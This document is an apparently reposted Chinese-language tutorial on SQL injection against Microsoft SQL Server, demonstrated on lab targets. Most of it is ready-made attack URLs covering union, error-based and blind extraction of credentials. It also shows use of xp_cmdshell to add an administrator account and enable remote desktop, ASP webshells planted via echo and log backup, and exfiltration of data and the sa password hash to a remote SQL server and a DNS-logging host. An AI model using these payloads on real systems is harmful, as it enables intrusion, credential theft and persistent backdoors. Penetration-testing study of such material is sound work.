MS SQL注入


MS SQL注入

簡介

SQL Server 是一個關系數據庫管理系統。經常與asp或者aspx一起使用,SQL Server是一個可擴展的、高性能的、為分布式客戶機/服務器計算所設計的數據庫管理系統,實現了與WindowsNT的有機結合,提供了基於事務的企業級信息管理系統方案。

基礎知識

系統自帶庫

MSSQL安裝后默認帶了6個數據庫,其中4個系統級庫:master,model,tempdb和msdb;2個示例庫:Northwind Traders和pubs。

master:主要為系統控制數據庫,其中包括了所有配置信息、用戶登錄信息和當前系統運行情況。
model:模版數據庫
tempdb:臨時容器
msdb:主要為用戶使用,所有的告警、任務調度等都在這個數據庫中。

系統自帶表

MSSQL數據庫與Mysql數據庫一樣,有安裝自帶的數據表sysobjects和syscolumns等,其中需要了解的就是這兩個數據表。

sysobjects:記錄了數據庫中所有表,常用字段為id、name和xtype。
syscolumns:記錄了數據庫中所有表的字段,常用字段為id、name和xtype。

//id為標識,name為對應的表名和字段名,xtype為所對應的對象類型

注入流程

1、判斷注入點
' 單引號是否報錯
and 1=1 / and 1=2 頁面是否相同

2、判斷數據庫類型是否為MSSQL
and (select count(*) from sysobjects)>0
and exists(select * from sysobjects)

3、判斷注入點權限
//當前是否為sa
and exists(select is_srvrolemember('sysadmin'))
或and (select is_srvrolemember('sysadmin'))>0
//判斷當前用戶寫文件、讀文件的權限
and exists(select is_srvrolemember('db_owner'))
或and (select is_srvrolemember('db_owner'))>0
//判斷是否有public權限,可以爆破表
and exists(select is_srvrolemember('public'))
或and (select is_srvrolemember('public'))>0

4、查詢數據庫名
db_name(N)  	表示當前數據庫,其中的參數表示第N個數據庫,從0開始

5、查詢當前用戶

6、查表名

7、爆數據


//常用函數
db_name(N)  	表示當前數據庫,其中的參數表示第N個數據庫,從0開始
@@version			數據庫版本
User_Name() 	當前用戶
host_name()		計算機名稱

//是否站庫分離,報錯是站庫分離
1' and ((select host_name())=(select @@SERVERNAME))--+

//排序&獲取下一條數據
mssql數據庫中沒有limit排序獲取字段,但是可以使用top 1來顯示數據中的第一條數據,后面與Oracle數據庫注入一樣,使用<>或not in 來排除已經顯示的數據,獲取下一條數據。但是與Oracle數據庫不同的是使用not in的時候后面需要帶上(‘’),類似數組,也就是不需要輸入多個not in來獲取數據,這可以很大程序減少輸入的數據量,如下:
//使用<>獲取數據 <> : 不等於
union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--#
//使用not in獲取數據
union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--#

聯合注入

實戰尋找注入點(此處是靶場),在通知這找到了id=2

輸入單引號,報錯

判斷數據庫類型是否為MSSQL

http://127.0.0.1:49221/new_list.asp?id=2 and (select count(*) from sysobjects)>0

判斷當前字段數

http://127.0.0.1:49221/new_list.asp?id=2 order by 4

http://127.0.0.1:49221/new_list.asp?id=2 order by 5

聯合查詢,獲取顯錯點

1、首先因為不知道具體數據類型,所以還是先用null來填充字符

http://127.0.0.1:49221/new_list.asp?id=-2  union all select null,null,null,null --+


2、替換null為’null’,獲取顯錯點

//第一個字符設置為字符串格式時,頁面報錯,很明顯這個就是id了,為int字符。
http://127.0.0.1:49221/new_list.asp?id=-2  union all select null,'null','null',null --+

查詢數據庫信息

1、獲取數據庫版本

http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select @@version),null --+


2、查詢數據庫名稱

http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name()),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(1)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(2)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(3)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(4)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(5)),null --+


db_name(6)輸出為空,證明枚舉完了。

查詢當前用戶

//這里的用戶dbo就等於databaseown,即sa用戶
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select user),null --+

user:User_Name() 

查詢表名

查詢dbo.sysobjects表中用戶創建的表,獲取其對應的id和name

http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' --+

//使用<>獲取下一條數據
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 --+

//使用not in獲取下一條數據
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058','101575400') --+
//這里沒有表了報錯

查詢列名

查詢列名的時候因為已經知道了表名的id值,所以where只需要使用id即可,不再需要xtype了。

http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'--+

http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--+ 

獲取數據

http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage--+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'--+

顯示報錯注入

根據系統報錯信息進行注入。

上圖找到注入點,判斷字段數后,發現沒有顯示位,但是有報錯信息的顯示,可以使用報錯注入進行手注。

查詢數據庫

//db_name()當前數據庫 @@version查看數據庫版本
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name()) --+  
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name(1)) --+
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name(2)) --+
...

或者
//變換N的值就可以爆出所有數據庫的名稱  convert(int,db_name()),將第二個參數的值轉換成第一個參數的int類型。
http://192.168.1.202:8088/less-1.asp?id=1' and (convert(int,db_name(N)))>0--+  

//CAST(expression AS data_type),將as前的參數以as后指定了數據類型轉換。
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select cast(db_name() as int)) --+

查詢當前用戶

http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select user) --+
//這里的用戶dbo就等於databaseown,即sa用戶

查詢表名

//當前數據庫test的第一個表
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--+
//第二個表
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--+
...
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents','referers','users'))>0--+

查詢列名

//查詢users的第一列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--+
//查詢users的第二列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id'))>0--+
//查詢users的第三列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--+
//查詢users的第四列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username','password'))>0--+

獲取數據

//方法一:單個查詢用戶名和密碼
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 username from users)>0--+
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 password from users)>0--+

http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 username from users where username not in ('Dumb'))>0--+
http://192.168.1.202:8088/less-1.asp?id=1' and (select password from users where username = 'XXX')>0--+

//方法二:組合輸出用戶名和密碼
http://192.168.1.202:8088/less-1.asp?id=1' and 1=stuff((select quotename(username) from users for xml path('')),1,0,'')--+
http://192.168.1.202:8088/less-1.asp?id=1' and 1=stuff((select quotename(password) from users for xml path('')),1,0,'')--+


盲注

用的SQL語句都可以用聯合注入的語句穿插。

布爾型盲注

查詢數據庫

//如果位數正確返回正常頁面
http://127.0.0.1:42545/new_list.asp?id=2 and len((select top 1 db_name()))=11

//查詢第一個字符 //如果正確返回正常頁面
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))=109
//查詢第二個字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),2,1))=109

查詢表名

//查詢第一個表的第一個字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109
//查詢mozhe_db_v2庫的第一個表的第一個字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 name from mozhe_db_v2.sys.all_objects where type='U' AND is_ms_shipped=0),1,1))=109

查詢列名

//難猜的,直接sqlmap拉倒
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='manage'),1,1))=109

時間盲注

查詢數據庫

WAITFOR DELAY '0:0:n'  語法:n表示延時幾秒
//判斷如果第一個庫的庫名的第一個字符的ascii碼為109,則延時5秒
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' --+

查詢表名

http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109) WAITFOR DELAY '0:0:5' --+
//查詢mozhe_db_v2庫的第一個表的第一個字符
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 name from mozhe_db_v2.sys.all_objects where type='U' AND is_ms_shipped=0),1,1))=109) WAITFOR DELAY '0:0:5' --+

查詢列名

http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='manage'),1,1))=109) WAITFOR DELAY '0:0:5' --+

xp_cmdshell

xp_cmdshell 擴展:存儲過程將命令字符串作為操作系統命令 shell 執行,並以文本行的形式返回所有輸出。

xp_cmdshell默認在mssql2000中是開啟的,在mssql2005之后的版本中則默認禁止。如果用戶擁有管理員sa權限則可以用sp_configure 重新開啟它。

1.判斷當前MSSQL數據庫有沒有xp_cmdshell擴展,返回值為1,表示有擴展
select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

2.測試是否可執行系統命令
exec master..xp_cmdshell 'net user'
exec master.dbo.xp_cmdshell 'net user'

3.執行2出現錯誤解決方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXEC sp_configure 'show advanced options',1//允許修改高級參數
RECONFIGUREEXEC sp_configure 'xp_cmdshell',1  //打開xp_cmdshell擴展

在執行即可成功執行語句

判斷有沒有xp_cmdshell擴展

http://192.168.1.202:8088/less-1.asp?id=1' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--+

執行系統命令

1.MSSQL版本
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select @@version) --+  

2.創建一個新用戶test
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'net user test qaz@WSX123 /add'--+

3.將用戶test添加到管理員組中
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators test /add'--+

4.開啟靶機3389端口
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--+

一句話

1.開啟xp_cmdshell
http://192.168.1.202:8088/less-1.asp?id=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
2.getshell 
http://192.168.1.202:8088/less-1.asp?id=1;EXEC master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\MSSQL-SQLi-Labs-master\muma.asp' --+  

//執行系統命令 把命令結果輸出到指定文件
http://192.168.1.202:8088/less-1.asp?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\MSSQL-SQLi-Labs-master\ip.txt' --+  

備份拿SHELL

<%execute(request("a"))%>
//判斷是否存在test_tmp數據庫,有就刪除,重新創建
http://192.168.1.202:8088/less-1.asp?id=1;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table test_tmp (a image)
//備份數據庫
http://192.168.1.202:8088/less-1.asp?id=1;backup log mydb to disk ='C:\MSSQL-SQLi-Labs-master\asp.bak' with init
//寫入一句話
http://192.168.1.202:8088/less-1.asp?id=1;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)
//備份一句話
http://192.168.1.202:8088/less-1.asp?id=1;backup log mydb to disk = 'C:\MSSQL-SQLi-Labs-master\123.asp'

openrowset轉發利用

適用於盲注入,頁面不返回信息 使用這種注入方法,需要一台帶有sqlserver的機器。原理就是把當前數據轉發到遠程的sqlserver上。

(1)需要保證自己的遠程sqlserver服務允許遠程訪問

​ 參考:https://www.cnblogs.com/wangjiming/p/7182639.html

(2)需要保證自己的遠程sqlserver的數據庫名與注入點的數據庫名相同

1.啟用Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
2.為了安全使用完成后,關閉Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure

1、開啟擴展

http://192.168.1.202:8088/less-1.asp?id=1;exec 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure

//本地創建和目標相同的數據庫,建立臨時表
create table ##version (VERSION varchar(500))

2、查詢系統信息

http://192.168.1.202:8088/less-1.asp?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
//執行上面語句之后 再來查詢遠程sqlserver上的表
select * from ##version

3、兩邊創建臨時表

create table ##nonamed( dir ntext, num int )
http://192.168.1.202:8088/less-1.asp?id=1;create table %23%23nonamed( dir ntext, num int )

4、查詢路徑

insert ##nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盤下路徑的數據
http://192.168.1.202:8088/less-1.asp?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1


//這里就是把數據轉發到遠程 sqlserver上
http://192.168.1.202:8088/less-1.asp?id=1;insert into OPENROWSET('SQLOLEDB', 'server=IP;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed

//在遠程sqlserver執行這個命令 就可以獲取 數據
select * from ##nonamed

利用DNSLOG注入

http://192.168.1.202:8088/less-1.asp?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')+'.ip.port.lwwn46.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

//payload需要全部轉成URL編碼
%3b%44%45%43%4c%41%52%45%20%40%68%6f%73%74%20%76%61%72%63%68%61%72%28%31%30%32%34%29%3b%53%45%4c%45%43%54%20%40%68%6f%73%74%3d%28%53%45%4c%45%43%54%20%54%4f%50%20%31%20%6d%61%73%74%65%72%2e%64%62%6f%2e%66%6e%5f%76%61%72%62%69%6e%74%6f%68%65%78%73%74%72%28%70%61%73%73%77%6f%72%64%5f%68%61%73%68%29%46%52%4f%4d%20%73%79%73%2e%73%71%6c%5f%6c%6f%67%69%6e%73%20%57%48%45%52%45%20%6e%61%6d%65%3d%27%73%61%27%29%2b%27%2e%69%70%2e%70%6f%72%74%2e%6c%77%77%6e%34%36%2e%63%65%79%65%2e%69%6f%27%3b%45%58%45%43%28%27%6d%61%73%74%65%72%2e%2e%78%70%5f%64%69%72%74%72%65%65%20%22%5c%5c%27%2b%40%68%6f%73%74%2b%27%5c%66%6f%6f%62%61%72%24%22%27%29%3b


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM